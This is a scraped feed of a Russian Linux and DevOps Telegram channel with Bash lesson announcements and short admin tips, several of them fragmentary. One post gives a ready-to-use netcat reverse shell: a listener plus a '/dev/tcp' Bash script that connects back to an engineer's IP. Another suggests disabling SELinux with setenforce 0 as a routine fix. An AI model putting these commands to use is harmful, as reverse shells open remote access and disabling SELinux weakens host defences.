10723
Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам. Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале. 📩 По всем вопросам: @chorapov Зеркало в MAX: https://max.ru/LinuxSkill РКН https://vk.cc/cMUwm4
🚀 Урок 10 — Bash: как красиво выводить большие числа
Привет, цифровой эстет! 👋
Сегодня разберёмся, как сделать числа в Bash удобными для чтения: добавим разделители тысяч, обработаем дробную часть и научимся кастомизировать вывод. Да, красиво — тоже по-админски.
Зачем смотреть?
✅ Научишься форматировать числа по разрядам без боли
✅ Освоишь работу с cut, while, getopts, shift и флагами
✅ Сделаешь свой скрипт гибким — под любые региональные форматы
Таймкоды:
00:03 — Зачем нормализовать числа
00:57 — Переменные и функция Nice number
01:52 — Деление числа на целую и дробную часть
03:20 — Учет дробной части
04:56 — Обработка больших чисел через цикл
06:43 — Добавление нулей и финальная сборка
09:08 — Итоговый вывод результата
12:23 — Обработка флагов через getopts
15:21 — Параметры и вывод
18:05 — Смещение аргументов (shift)
20:33 — Проверка параметров и пример
23:46 — Обработка дробной части и тысяч
25:06 — Сборка итогового значения
30:15 — Финальные штрихи
32:09 — Заключение и прощание
🌐 Источник: https://www.youtube.com/watch?v=WOAfSn5HbmM&t
📩 Завтра: Вопрос №34 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Как управлять iptables на лету — без sudo, без потерь
🧠 - DNS — самая недооценённая технология, без которой интернет не работает
🧠 - Подними свой DNS-сервер и забудь про Google DNS
#Linux_youtube #bash #linux #bashскрипты #обучение #Linux\_youtube
🔥 Быстрое обнаружение проблем в сети через массовый пинг
Привет, мастера мониторинга! 📡
Когда у тебя десятки серверов или рабочих станций, проверять их по одному — это адская рутина.
К счастью, в Linux есть удобные способы пинговать сразу несколько хостов параллельно!
⚙️ Самый простой способ: использовать fping
Установка:
sudo apt install fping
fping -a -f hosts.txt
hosts.txt — файл со списком адресов (один хост на строку).!/bin/bash
for ip in $(cat hosts.txt)
do
ping -c 1 $ip > /dev/null && echo "$ip is UP" || echo "$ip is DOWN"
done
& и wait, чтобы ускорить процесс. 🚀-C).
🚀 Урок 9 — Нормализация дат в Bash: без хаоса и сюрпризов
Привет, повелитель форматов! 👋
Сегодня наведём порядок в датах. Bash-скрипт, который понимает и исправляет любую мешанину из «октября», «10», «38» и прочих сюрпризов.
Зачем смотреть?
✅ Узнаешь, как обрабатывать ввод даты с проверкой на ошибки
✅ Напишешь скрипт, который нормализует дату в понятный и унифицированный формат
✅ Освоишь работу с case, tr и позиционными параметрами
Таймкоды:
00:03 — Зачем нормализовать даты
01:11 — Критерии: формат, длина, ограничения
02:16 — Функция преобразования месяца
04:41 — Проверка количества аргументов
09:40 — Нормализация месяца: число или текст
18:48 — Проверка допустимости дня
21:27 — Сбор нормализованной даты
22:17 — Проверка пользовательского ввода
23:14 — Преобразование месяца (число и текст)
26:05 — Работа с разными форматами
30:19 — Проверка валидности года
38:56 — Заключение и финальный формат вывода
🌐 Источник: https://www.youtube.com/watch?v=LxG_nMiftvo&t=1s
📩 Завтра: Почему cat всё ещё опасен в 2025 году?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - ZFS: Часть 2 — Работа с данными, снимки, дедупликация и сжатие
🧠 - Как удалить конкретные правила из iptables (а не всё подряд)?
🧠 - iptables: доступ к порту 8000 только с одного IP
#Linux_youtube #bash #linux #bashскрипты #обучение #Linux\_youtube
🚀 Урок 8 — Проверка ввода в Bash: только буквы и цифры
Привет, хранитель чистого ввода! 👋
Сегодня научимся защищать свои скрипты от “грязного” ввода — проверим, чтобы пользователь вводил только буквы и цифры. Безопасность начинается с мелочей!
Зачем смотреть?
✅ Узнаешь, как фильтровать ввод в Bash без сторонних утилит
✅ Освоишь sed и регулярные выражения для практической проверки
✅ Научишься обрабатывать пустой ввод, спецсимволы и даже номера телефонов
Таймкоды:
00:03 — Введение в проверку ввода пользователя
01:03 — Практическое применение: зачем фильтровать
01:36 — Пишем функцию проверки
03:27 — Основы команды sed
09:13 — Модификаторы замены и фильтрация
11:13 — Проверка на буквы и цифры через sed
14:40 — Логика сравнения строк
16:00 — Запрос ввода и запуск скрипта
19:25 — Демонстрация работы
21:04 — Расширение условий (пробелы, точки, регистр)
24:35 — Проверка телефонных номеров
30:10 — Заключение и прощание
🌐 Источник: https://youtu.be/C79oNzFgcEI?si=-79rZmAPOl4zxQkX
📩 Завтра: Вопрос №32 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Секреты Bash: Как тестировать порты без curl и wget!
🧠 - Как правильно зачистить логи Nginx: Избегай ошибок!
🧠 - Файловая система ZFS: отказоустойчивость, RAID и целостность данных
#Linux_youtube #bash #linux #bashскрипты #обучение #Linux\_youtube
🎯 Автоматизируй деплой в один клик через GitLab Variables
Привет, цифровые мастера! 🧑💻
Сегодня разберём фишку, которая облегчит жизнь всем, кто работает с GitLab CI/CD: как сделать удобные выпадающие списки переменных прямо на этапе запуска пайплайна! 🚀
Обычно перед стартом Pipeline нужно руками вбивать переменные окружения типа ENVIRONMENT=stage/production.
Это неудобно, долго и приводит к ошибкам.
Решение — сделать выпадающие списки в .gitlab-ci.yml:
variables:
ENVIRONMENT:
value: "N/A"
options:
- "N/A"
- "STAGE"
- "PRODUCTION"
description: "Deployment environment"
rules можно легко управлять логикой деплоя:deploy:
script:
- echo "Deploying to $ENVIRONMENT"
rules:
- if: '$ENVIRONMENT == "STAGE"'
variables:
WEB_NODE: "xx.xx.xx.xx"
- if: '$ENVIRONMENT == "PRODUCTION"'
variables:
WEB_NODE: "yy.yy.yy.yy"
.gitlab-ci.yml везде:include:
- project: "dev/pipelines"
file: ".gitlab-ci.yml"
🔍 Урок 7 — Как искать программы в PATH через Bash
Привет, техно-творцы и энтузиасты кастомизации! Сегодня научимся находить исполняемые файлы в системе быстро и красиво.
Если хочешь уверенно ориентироваться в системных путях и понимать, почему иногда "команда не найдена" — этот урок точно для тебя! 🚀
Разберем практическое написание скрипта для поиска команды в PATH: создание функций, обработку ошибок и тестирование.
### Таймкоды:
00:03 — Введение и создание скрипта
01:20 — Написание функций инпас и чек
03:22 — Реализация поиска команды в директориях
05:35 — Проверка существования исполняемых файлов
12:32 — Обработка аргументов и запуск скрипта
18:06 — Тестирование и отладка работы скрипта
24:05 — Заключение и советы по использованию
🌐 Источник: https://www.youtube.com/watch?v=7PUqf1sopFI
📩 Завтра: Почему set -e в bash может сломать тебе всё!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Darling: Запускай MacOS приложения на Linux как профи!
🧠 - Как использовать Ansible для автоматизации настройки и резервного копирования конфигурации устройств
🧠 - Как изменить цвет вывода команды echo в Linux?
#Linux_youtube #bash #linux #bashскрипты #поисккоманд
🌟 Урок 6 — Спецсимволы Bash, без которых не пишут скрипты
Привет, кулинары загрузочных экранов и гурманы GRUB! Сегодня варим вкусный суп из спецсимволов Bash!
Хочешь разобраться, что делают решетка, кавычки, слэши и скобки в скриптах?
Этот урок даст тебе полную картину! Узнаешь, как спецсимволы ускоряют написание кода, упрощают проверки и делают твои Bash-скрипты мощнее. 🚀
### Таймкоды:
00:04 — Символ решетки: комментарии
03:01 — Точка с запятой и завершение команд
04:25 — Точка и навигация по каталогам
09:15 — Двойные кавычки: строки и спецсимволы
10:25 — Запятая: арифметика и конкатенация
13:43 — Обратный слэш: экранирование
15:24 — Прямой слеш: пути к файлам
15:48 — Обратная кавычка: подстановка команд
17:09 — Двоеточие: пустая команда
22:15 — Восклицательный знак и логика в терминале
27:09 — Вопросительный знак и группировка команд
32:35 — Фигурные скобки и массивы
36:33 — Перенаправление потоков
42:07 — Квадратные скобки и условия
45:27 — Инкремент, декремент, арифметика
48:46 — Перенаправление вывода в файлы
53:28 — Дописывание и пайплайны
57:57 — Логическое "или" и выполнение в фоне
01:05:09 — Заключение
🌐 Источник: https://www.youtube.com/watch?v=u6ZjTDuN6is)
📩 Завтра: Почему set -e в bash может сломать тебе всё!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Самый популярный вопрос по Linux на StackOverflow: 11,7 миллионов просмотров
🧠 - Как использовать Ansible для автоматизации установки и настройки веб-сервера Apache под Linux
🧠 - Как рекурсивно найти все файлы в текущей и поддиректориях с использованием шаблонов?
#Linux_youtube #bash #linux #bashскрипты #программирование
⚡ Что будет, если ввести неправильный пароль в sudo? (спойлер: тебя унизят)
Привет, повелитель терминала! 🖥️
Ты знал, что в Linux можно включить "режим унижений" прямо через sudo? 😈
Каждый раз, когда ты вводишь неправильный пароль, система будет подшучивать над тобой острыми фразочками.
Всё работает без установки стороннего шлака!
🚀 Как включить «оскорбительный режим»
Добавь в /etc/sudoers или в отдельный файл в /etc/sudoers.d/ строчку:
Defaults insults
sudo apt update
/usr/libexec/sudo/sudoers.so.Defaults insults.Defaults badpass_message="Попробуй ещё раз, герой терминала!"
#!/bin/bash
messages=("Неверный пароль! Ты уверен, что это твоя клавиатура?"
"Еще одна ошибка — и я вызываю хакеров!"
"Может, стоит попробовать старый пароль?")
echo "${messages[$RANDOM % ${#messages[@]}]}"
🎯 Урок 5 — Функции Bash за 49 минут: основы, примеры, фишки
Привет, цифровые дирижёры и мастера настроек! 🚀 Сегодня мы настраиваем Bash на новый уровень!
Хочешь писать чистый и красивый код в Bash? Тогда тебе сюда!
Разберём, как использовать функции: передача параметров, возврат значений, обработка ошибок и крутые практические примеры. Всё за 10 минут — быстро, чётко и по делу.
### Таймкоды:
00:05 — Введение в функции в Bash
02:14 — Передача параметров в функции
09:24 — Область видимости переменных
20:38 — Возвращение значений из функций
22:24 — Пример использования echo
23:53 — Коды выполнения функций
25:39 — Примеры возврата и обработки ошибок
29:49 — Проблемы с перезаписью значений
31:19 — Использование case для обработки кодов
34:24 — Практическое применение: проверка файлов
36:07 — Проверка директорий
37:47 — Тестирование функций
40:25 — Обработка кодов возврата
44:00 — Практическая автоматизация
46:42 — Переопределение системных команд
48:19 — Заключение
🌐 Источник: https://www.youtube.com/watch?v=YtJjsHAynQU
📩 Завтра: Можешь ли ты использовать sudo без пароля? Проверь за 5 секунд!
Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Prometheus - Как мониторить Динамичное количество серверов на AWS
🧠 - Освободи место на сервере: 5 способов автоматического удаления старых файлов!
🧠 - Cruft: Утилита для поиска ненужных файлов на Linux серверах
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #программирование
🚀 Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту!
Привет, цифровые исследователи и администраторы!
Хочешь получить доступ к серверу за NAT или в приватной сети без прямого IP? Без проброса портов и плясок с VPN?
Лови лайфхак с Netcat — проверенный способ настроить Reverse Shell за пару команд!
#Что делаем:
1. У удалённого инженера на своей машине:
nc -lvnp 2288
-l — слушать входящие подключения-v — подробный режим-n — не использовать DNS-p — указать порт/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1
#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1
reverse_shell.sh.chmod +x reverse_shell.sh
./reverse_shell.sh
🚨 Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Привет, повелитель терминала! На одном из серверов Linux обнаружили странный процесс:
- Имя вроде 89cdb92b, потом меняется на другое (ac1e4262)
- Процесс запущен от root
- CPU загружено на 25369% (!)
- Файл процесса уже удалён: /proc/<PID>/exe → (deleted)
Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова.
🔍 Что делать:
1. Проверить родителя процесса:
pstree -sap <PID>
ps -o args -p <PID>
cp /proc/<PID>/exe /tmp/suspect_binary
strings /tmp/suspect_binary
lsof -p <PID>
journalctl -S 'YYYY-mm-dd HH:MM'
🐚 Полная шпаргалка по Bash: команды, синтаксис и фишки!
Привет, покорители терминалов!
Ты устал листать десятки страниц в поисках нужной Bash-команды? Тогда держи готовую шпаргалку, собранную специально для тебя!
🛠️ Все команды удобно структурированы: условия, циклы, массивы, функции, работа с файлами и процессами.
Что тебя ждёт:
- Основы синтаксиса Bash без воды
- Краткие примеры команд и скриптов
- Умные лайфхаки для оптимизации рутины
- Пояснения, когда что использовать на практике
Шпаргалка пригодится:
- Начинающим пользователям
- Системным администраторам
- DevOps инженерам
- Тем, кто хочет автоматизировать свои задачи в Linux
🌐 Источник:https://devhints.io/bash
📩 Завтра: Вопрос №33 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - 50 команд Linux
🧠 - Как быстро запомнить базовые команды Linux
🧠 - Управление процессами: Часть 1
#Linux_Mastery #linux #bash #devops #automation #cheatsheet
🚨 Почему cat всё ещё опасен в 2025 году?
Привет, покоритель терминала! 👨💻👩💻
Многие думают, что cat — это безопасная команда для просмотра файлов. Но даже сегодня простое cat file может быть рискованным!
Терминальные эмуляторы — сложные программы. Если файл содержит хитро сформированные escape-последовательности, это может:
- зависнуть весь терминал,
- испортить буфер обмена через OSC 52,
- вызвать баги в системе.
Терминалы вроде GNOME Terminal или xterm исправили многие уязвимости, но 100% защиты нет. Особенно, если файл пришёл из сомнительного источника.
✅ Как безопасно просматривать файлы:
- Используй cat -v file — выводит управляющие символы видимыми.
- Открывай файлы через less (безопаснее для длинного вывода).
- Никогда не доверяй логам и текстам из внешних источников.
🔒 В безопасности даже самые простые команды требуют внимательности!
🌐 Источник: https://unix.stackexchange.com/questions/780938/is-it-still-unsafe-to-cat-an-arbitrary-file
📩 Завтра: Быстрое обнаружение проблем в сети через массовый пинг
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Урок 5 — Функции Bash за 49 минут: основы, примеры, фишки
🧠 - Можешь ли ты использовать sudo без пароля? Проверь за 5 секунд!
🧠 - Что будет, если ввести неправильный пароль в sudo?
#stackoverflow #linux #bash #security #terminal #linuxskill
Я тут заметил что инфографика собирает хорошо по реакциям. Вот попробовал сделать на популярный пост.
Если наберем 50 лайков на этот пост, придумаю как включить инфографику в еженедельную рубрику.
🚀 Ускорь создание виртуалок в Linux за пару минут с Quickemu
Привет, цифровые исследователи! 🧑🚀
Если тебе нужно быстро протестировать новую ОС, окружение или обновление — забудь про тяжёлые VirtualBox и KVM.
Встречай Quickemu — минималистичный инструмент для молниеносной установки виртуалок! ⚡
Что такое Quickemu?
Это скрипт на bash, который автоматизирует развёртывание виртуальных машин через QEMU.
Сам определяет настройки оптимальные для твоего железа. Минимум настроек — максимум скорости.
📦 Как установить:
sudo apt install quickemu
yay -S quickemu)quickget ubuntu-mate
quickemu --vm ubuntu-mate.conf
quickget — скачает ISO и подготовит конфигурацию. quickemu — запустит виртуалку за считанные секунды.
🚀 Как за 1 минуту определить, чем управляется сеть в Linux?
Привет, мастер серверов! 👋
Сегодня разберём, как быстро понять, что именно рулит сетью на вашем Linux-сервере — без лишней магии и догадок!
🔍 Пошаговый чек:
1. Проверка старой школы — ifupdown:
systemctl status networking.service
systemctl status NetworkManager
systemctl status systemd-networkd
ls /etc/netplan/
networkctl status
nmcli general status
netplan status
/etc/network/interfaces + networking.service — значит у вас классическая схема через ifupdown. NetworkManager — скорее всего десктоп или ноутбук. systemd-networkd — модульная минималистичная конфигурация. /etc/netplan/ — используется промежуточный слой Netplan.
Идеальная шпаргалка по cron в Linux с примерами 🐧
@linuxos_tg
🚨 Ускоряй рутину в 5 раз: DevToys спасает!
Привет, цифровые мастера и оптимизаторы времени! Надоело переключаться между кучей мелких утилит?
Хочешь, чтобы базовые задачи решались быстро и удобно прямо на месте?
Тогда встречай DevToys — универсальный набор инструментов для разработчиков и системных администраторов! ⚙️
Что умеет DevToys прямо из коробки:
- 🔑 Генерация и декодирование JWT
- 📦 Базовая кодировка/декодировка Base64
- 🧮 Быстрые конвертации JSON ↔ YAML
- 🖥️ Преобразование UUID, хеширование (SHA, MD5)
- 🔍 Форматирование SQL-запросов
- 🖋️ Валидация регулярных выражений
- 📜 Работа с текстами: сравнение, преобразование
- 🌐 Проверка IP-адресов, портов и других сетевых параметров
Фишка: все это доступно локально — без отправки данных в облако! 🔒
Установка элементарная: через snap, flatpak или компиляцию с GitHub.
🌐 Источник: https://github.com/DevToys-app/DevToys
📩 Завтра:
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Что означает $@ в shell скрипте?
🧠 - Защити свой сервер: Настройка безопасности SSH на Linux
🧠 - Избавься от лишнего: Как установить только нужные пакеты в Linux
#Linux_Mastery #Linux #DevTools #Productivity #Sysadmin #OpenSource
🚨 Можешь ли ты использовать sudo без пароля? Проверь за 5 секунд!
👋 Привет, мастер терминала! Иногда нужно понять: можешь ли ты выполнять команды через sudo без запроса пароля? Особенно важно для скриптов и автоматизации.
⚡ Базовая проверка:
sudo -n true 2>/dev/null || exit 1
-n запрещает запрос пароля.sudo -k
sudo -n true 2>/dev/null || exit 1
sudo -k очищает кэш пароля.rand=$(mktemp /tmp/true.XXXXX)
cp /usr/bin/true "$rand"
sudo -n "$rand" 2>/dev/null && echo "Есть доступ" || echo "Нет доступа"
rm "$rand"
🚀 Урок 4 — Почему case круче вложенных if в Bash
Привет! 👋
Сегодня разберём тему, которая сэкономит тебе нервы и часы работы в Bash-скриптах — конструкцию case.
Научимся заменять кучу вложенных if на красивую, компактную структуру.
Зачем смотреть:
- Поймёшь, как избавиться от запутанных вложенных условий.
- Упорядочишь логику скриптов, сделав их читабельнее и надежнее.
- Научишься строить крутые сценарии обработки пользовательского ввода.
Таймкоды:
00:02 — Введение в конструкцию case
02:16 — Пример использования case
05:18 — Мультибор условий
08:43 — Комбинируем case и цикл while
15:09 — Управление циклом с помощью break и exit
23:47 — Заключение о возможностях конструкции
26:35 — Тестирование и демонстрация ошибок
27:27 — Проблемы вложенности if
28:09 — Как сделать код компактным и читаемым
28:20 — Финальные советы и прощание
🌐 Источник: https://www.youtube.com/watch?v=bdTDSprkTGE
📩 Завтра: Вопрос №28 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: блокируем IP, создаем файрвол и управляем трафиком!
🧠 - Prometheus - Как установить Grafana, настроить Data Source, добавить Dashboards?
🧠 - Защити свои данные: Автоматическое резервное копирование на Linux
#Linux_youtube @LinuxSkill #bash #linux #скрипты #обучение
🛠️ 10 самых частых ошибок в Linux и как быстро их исправить
Привет, цифровые искатели приключений! 🧭
Если ты хоть раз настраивал Linux, ты точно натыкался на эти проблемы.
Лови экспресс-гайд, который спасет тебе часы нервов и дебага!
🛡️ Ошибки при обновлении и установке пакетов
- Почини сломанные зависимости:
sudo apt-get install -f
sudo apt-get clean
sudo apt-get update
ip a
sudo systemctl restart NetworkManager
cat /etc/resolv.conf
sudo <command>
sudo chmod 755 /path/to/dir
sudo chown user:user /path/to/file
sudo grub-install /dev/sda
sudo update-grub
sudo fsck /dev/sda1
df -h
sudo apt-get clean
sudo rm -rf /var/cache/apt/archives/*
sudo systemctl status nfs-server
sudo systemctl restart nfs-server
python3 -m venv myenv
source myenv/bin/activate
pip install <package>
sudo ausearch -m avc -ts recent
sudo setenforce 0
lsmod
sudo modprobe <module>
sudo iptables -L
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
🚀 Урок 3 — Освой циклы Bash
Привет! Продолжаем наш интенсив по Bash для новичков и не только.
Сегодня ты узнаешь, как работают основные циклы в Bash — for и while. Эти конструкции — основа автоматизации: от перебора файлов до создания генераторов паролей!
Зачем смотреть этот урок:
✅ Быстро освоишь перебор списков и файлов
✅ Научишься создавать скрипты с условиями
✅ Сможешь генерировать пароли своими руками
Тайм-коды для удобства:
00:04 — Введение в циклы
00:52 — Основы цикла for
01:43 — Примеры использования for
04:34 — Условные конструкции в цикле
07:06 — Проверка спецсимволов
11:02 — Работа с директориями
16:21 — Цикл for в стиле C
21:02 — Цикл while
25:39 — Сравнение for и while
27:59 — Создание генератора паролей
31:31 — Команды break и continue
37:20 — Заключение
🌐 Источник: https://youtu.be/7AyiVxVkY3M?si=xPm_IxlR5DIAJpxa
📩 Завтра: Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Практическое использование mkfs.btrfs: Код и советы
🧠 - Установка Node Exporter на Linux серверах: Полный Гайд
🧠 - IPv6 и iptables: Мастер-класс по безопасности будущего
#Linux_youtube @LinuxSkill #bash #linux #scripts #bashскрипты #программирование